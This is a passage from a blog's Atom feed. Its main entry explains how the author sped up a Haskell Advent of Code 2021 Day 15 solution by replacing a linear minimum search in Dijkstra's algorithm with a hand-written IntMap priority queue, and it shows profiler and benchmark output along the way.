dependencies are an issue.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="coq" /><category term="programming" /><summary type="html"><![CDATA[Programming and mathematics have much in common, philosophically. The disciplines deal with constructions of various kinds. The constructions can get arbitrarily complex and interconnected. As a result, it’s no surprise that concepts such as overloaded notations, implicit coercions and inheritance pop up frequently in both disciplines. For instance, a field inherits the properties of a ring, which in turn inherit from Abelian groups. The symbol + can mean different things depending on if we’re talking about vector spaces or coproducts. Mathematical structures even exhibit multiple inheritance. For instance, here’s the dependency graph of the real number type in the mathcomp-analysis library.]]></summary></entry><entry><title type="html">Speeding up my AoC solution by a factor of 2700 with Dijkstra’s</title><link href="https://siraben.dev/2021/12/28/aoc-speedup.html" rel="alternate" type="text/html" title="Speeding up my AoC solution by a factor of 2700 with Dijkstra’s" /><published>2021-12-28T16:52:00+00:00</published><updated>2021-12-28T16:52:00+00:00</updated><id>https://siraben.dev/2021/12/28/aoc-speedup</id><content type="html" xml:base="https://siraben.dev/2021/12/28/aoc-speedup.html"><![CDATA[<p><strong>Note:</strong> this post contains spoilers for one of the days of Advent of
Code 2021.</p>

<p>This article was discussed on <a href="https://news.ycombinator.com/item?id=29757176">Hacker
News</a>.</p>

<p>This year, I had <a href="https://github.com/siraben/haoc-2021/">a lot of fun</a>
with <a href="https://adventofcode.com/2021/">Advent of Code</a>.  There’s a nice
problem solving aspect of it and refining your initial solution is
always a fun exercise.</p>

<p>I do my solutions in Haskell, and AoC problems can be nice
explorations into various performance-wise aspects of GHC’s runtime.
My
<a href="https://github.com/siraben/haoc-2021/#haskell-advent-of-code-2021">README</a>
has some notes on what my general approach is to getting programs to
run faster.</p>

<p>But sometimes, you can get solutions that run orders of magnitude
faster, and this year I encountered such a case where my solution ran
over 2700 times faster!  Let’s dive in.</p>

<h2 id="a-naïve-attempt">A naïve attempt</h2>
<p><a href="https://adventofcode.com/2021/day/15">Day 15</a> asks us to compute the
lowest sum possible that results from traversing a grid from one
corner to the other, where the possible moves are moving by one in the
four cardinal directions.  When I saw this problem, I
thought, “this is just recursion!”  Naturally, I wrote such a
recursive solution (glguy notes on IRC that this would be a lot faster
if I memoized the calls.)  The base case is if we’re at the origin
point, the cost is 0.  Otherwise, the minimum cost starting at <code class="language-plaintext highlighter-rouge">(r,c)</code>
is the cost of the cell at <code class="language-plaintext highlighter-rouge">(r,c)</code> added with the minimum of
recursively solving the same problem for <code class="language-plaintext highlighter-rouge">(r-1,c)</code>, <code class="language-plaintext highlighter-rouge">(r,c-1)</code> and
<code class="language-plaintext highlighter-rouge">(r,c+1)</code>.</p>

<div class="language-haskell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">import</span> <span class="k">qualified</span> <span class="nn">Data.Map</span> <span class="k">as</span> <span class="n">M</span>

<span class="n">minSum</span> <span class="o">::</span> <span class="kt">Int</span> <span class="o">-&gt;</span> <span class="kt">Int</span> <span class="o">-&gt;</span> <span class="kt">M</span><span class="o">.</span><span class="kt">Map</span> <span class="p">(</span><span class="kt">Int</span><span class="p">,</span> <span class="kt">Int</span><span class="p">)</span> <span class="kt">Int</span> <span class="o">-&gt;</span> <span class="kt">Int</span>
<span class="n">minSum</span> <span class="n">r</span> <span class="n">c</span> <span class="n">g</span>
  <span class="o">|</span> <span class="n">r</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">c</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">=</span> <span class="mi">0</span>
  <span class="o">|</span> <span class="n">otherwise</span> <span class="o">=</span> <span class="n">g</span> <span class="kt">M</span><span class="o">.!</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="o">+</span> <span class="n">minimum</span> <span class="p">[</span><span class="n">minSum</span> <span class="p">(</span><span class="n">r</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="n">c</span> <span class="n">g</span><span class="p">,</span> <span class="n">minSum</span> <span class="n">r</span> <span class="p">(</span><span class="n">c</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="n">g</span><span class="p">,</span> <span class="n">minSum</span> <span class="n">r</span> <span class="p">(</span><span class="n">c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="n">g</span><span class="p">]</span>
</code></pre></div></div>

<p>This was sufficient for the very small example they gave.  But it
fails even on part 1, which was a 100 by 100 grid!  In fact, it is an
incorrect solution as well (if we restrict the problem to only down
and right moves then a dynamic programming solution would work.)</p>

<p>Clearly, even a naïve solution won’t save us here.  The next approach
I went with uses <a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm">Dijkstra’s
Algorithm</a>. One
limitation I impose on myself in solving Advent of Code is to not use
any libraries outside the <a href="https://downloads.haskell.org/~ghc/latest/docs/html/libraries/index.html">GHC bootstrap
libraries</a>.
This is simply because in some environments such as Google Code Jam or
Codeforces, fancy libraries would not exist, but ones such as
<code class="language-plaintext highlighter-rouge">containers</code> certainly would be.</p>

<p>And sure enough, Dijkstra’s algorithm was able to solve part 1 in a
few seconds.  Part 2 however, just kept churning.  I left my computer
running then returned to see the result, which was accepted by the
validator online.  My shell also prints out how long the previous
command took to execute, so that acted as a timer.</p>

<p><img src="/assets/day15slow.png" alt="First success" /></p>

<h2 id="finding-cost-centers">Finding cost centers</h2>
<p>Even though we got the right answer, there’s no way that this is a
reasonable runtime for a solution.  To find the culprit, I ran the
Haskell profiler on the program solving part 1.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>COST CENTRE                  MODULE    SRC                        %time %alloc

dijkstra.step3.nextVert.v.\  Main      day15.hs:101:47-96          86.1    0.0
dijkstra.step3.nextVert.v    Main      day15.hs:101:13-128         11.8   28.2
...
</code></pre></div></div>

<p>The function to compute the next vertex to visit (see the
<a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm#Pseudocode">pseudocode</a>)
by choosing vertex by minimum distance from source.</p>

<div class="language-haskell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v</span> <span class="o">::</span> <span class="p">(</span><span class="kt">Int</span><span class="p">,</span> <span class="kt">Int</span><span class="p">)</span>
<span class="n">v</span> <span class="o">=</span> <span class="n">minimumBy</span> <span class="p">(</span><span class="nf">\</span><span class="n">x</span> <span class="n">y</span> <span class="o">-&gt;</span> <span class="n">compare</span> <span class="p">(</span><span class="n">dv</span> <span class="kt">M</span><span class="o">.!</span> <span class="n">x</span><span class="p">)</span> <span class="p">(</span><span class="n">dv</span> <span class="kt">M</span><span class="o">.!</span> <span class="n">y</span><span class="p">))</span> <span class="n">q</span>
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">q</code> is the set of vertices left to visit and <code class="language-plaintext highlighter-rouge">dv</code> is a map from
vertices to distances.  Using <code class="language-plaintext highlighter-rouge">minimumBy</code> on a <code class="language-plaintext highlighter-rouge">Set</code> in Haskell calls
<code class="language-plaintext highlighter-rouge">foldl'</code> on sets, which is
<a href="https://hackage.haskell.org/package/containers-0.6.5.1/docs/src/Data.Set.Internal.html#foldl%27">here</a>.
This procedure of course will be linear in the size of the set, and a
500 by 500 grid has 250,000 vertices to find the minimum of each time
we want to select another vertex.  Yikes.  I imagined, “what if we were
able to just find the next vertex of minimum distance from the source
in constant time?”  Thus, we would be able to breeze through this part
of the algorithm and bring the runtime significantly down.</p>

<h2 id="priority-queues-from-scratch">Priority queues from scratch</h2>
<p>There’s a nice “duality” to the operation of Dijkstra’s algorithm when
you use a priority queue.  You have a map where the keys are vertices
and the elements are distances, but when you select the next vertex to
visit, you use a priority queue where the keys (priorities) are
distances and the elements are vertices.  The structure of each is
optimized for a different aspect of the algorithm, so conflating the
two would intuitively cause slowdown.  With that in mind, we can
define a priority queue as just a map from <code class="language-plaintext highlighter-rouge">Int</code>s to lists of values
of that priority.</p>

<div class="language-haskell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">type</span> <span class="kt">PQueue</span> <span class="n">a</span> <span class="o">=</span> <span class="kt">IntMap</span> <span class="p">[</span><span class="n">a</span><span class="p">]</span>
</code></pre></div></div>

<p>Getting a next minimal element from the priority queue is easy, since
<code class="language-plaintext highlighter-rouge">IntMap</code>s already a provide a <code class="language-plaintext highlighter-rouge">minViewWithKey</code> function.  Insertion is
similarly easy to write up.  The empty priority queue is just an empty
<code class="language-plaintext highlighter-rouge">IntMap</code>.</p>

<div class="language-haskell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- Retrieve an element with the lowest priority</span>
<span class="n">pminView</span> <span class="o">::</span> <span class="kt">PQueue</span> <span class="n">a</span> <span class="o">-&gt;</span> <span class="p">((</span><span class="kt">Key</span><span class="p">,</span> <span class="n">a</span><span class="p">),</span> <span class="kt">PQueue</span> <span class="n">a</span><span class="p">)</span>
<span class="n">pminView</span> <span class="n">p</span> <span class="o">=</span>
  <span class="kr">let</span> <span class="kt">Just</span> <span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">p'</span><span class="p">)</span> <span class="o">=</span> <span class="kt">IM</span><span class="o">.</span><span class="n">minViewWithKey</span> <span class="n">p</span>
   <span class="kr">in</span> <span class="kr">case</span> <span class="n">l</span> <span class="kr">of</span>
        <span class="p">(</span><span class="kr">_</span><span class="p">,</span> <span class="kt">[]</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">pminView</span> <span class="n">p'</span>
        <span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">x</span> <span class="o">:</span> <span class="n">xs</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="p">((</span><span class="n">k</span><span class="p">,</span> <span class="n">x</span><span class="p">),</span> <span class="kr">if</span> <span class="n">null</span> <span class="n">xs</span> <span class="kr">then</span> <span class="kt">IM</span><span class="o">.</span><span class="n">delete</span> <span class="n">k</span> <span class="n">p'</span> <span class="kr">else</span> <span class="kt">IM</span><span class="o">.</span><span class="n">insert</span> <span class="n">k</span> <span class="n">xs</span> <span class="n">p'</span><span class="p">)</span>

<span class="c1">-- Insertion of an element with a specified priority</span>
<span class="n">pins</span> <span class="o">::</span> <span class="kt">Int</span> <span class="o">-&gt;</span> <span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">PQueue</span> <span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">PQueue</span> <span class="n">a</span>
<span class="n">pins</span> <span class="n">k</span> <span class="n">x</span> <span class="o">=</span> <span class="kt">IM</span><span class="o">.</span><span class="n">insertWith</span> <span class="p">(</span><span class="o">++</span><span class="p">)</span> <span class="n">k</span> <span class="p">[</span><span class="n">x</span><span class="p">]</span>
</code></pre></div></div>

<p>Note that <code class="language-plaintext highlighter-rouge">pminView</code> already returns the new map with the minimal
element removed, so we don’t need to write another deletion function.</p>

<p>With those functions in hand, and lots of rewriting, <a href="https://github.com/siraben/haoc-2021/commit/7a52a62eee7f45b0e9612948ef43c09f22ecd78b#diff-3cc7997ef8ee621857f43efc5829f5e774da63a889e78819714e25f6501f0af7">I finally
cracked
it</a>!</p>

<h2 id="benchmarks">Benchmarks!</h2>
<p>The results were staggering—part 2 was sped up by a factor of 2545,
which is a serious demonstration of how even if you have the right
algorithm, the choice of how you represent auxillary data in the
algorithm matters.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>benchmarking day15/part2
time                 1.172 s    (1.088 s .. 1.259 s)
                     0.999 R²   (0.997 R² .. 1.000 R²)
mean                 1.213 s    (1.190 s .. 1.244 s)
std dev              29.96 ms   (12.16 ms .. 39.32 ms)
variance introduced by outliers: 19% (moderately inflated)
</code></pre></div></div>

<p>After checking the cost centers again, a <a href="https://github.com/siraben/haoc-2021/commit/1cf5e6e37b780e46ff5947048663349978ae2509#diff-3cc7997ef8ee621857f43efc5829f5e774da63a889e78819714e25f6501f0af7">small
adjustment</a>
to how neighbors were computed reduced the mean running time to
<code class="language-plaintext highlighter-rouge">1.098</code> seconds, which amounts to a 2716 times speedup!</p>

<h2 id="final-thoughts">Final thoughts</h2>
<p>Not using premade libraries was a great pedagogical constraint because
it forced me to get to the essence of an algorithm or data structure.
While implementations of Dijkstra’s algorithm exists in various
Haskell libraries, they are often too optimized or specialized to
certain structures.  There’s a lot to be learned from doing things
from scratch!</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="haskell" /><category term="programming" /><category term="algorithms" /><summary type="html"><![CDATA[Note: this post contains spoilers for one of the days of Advent of Code 2021.]]></summary></entry></feed>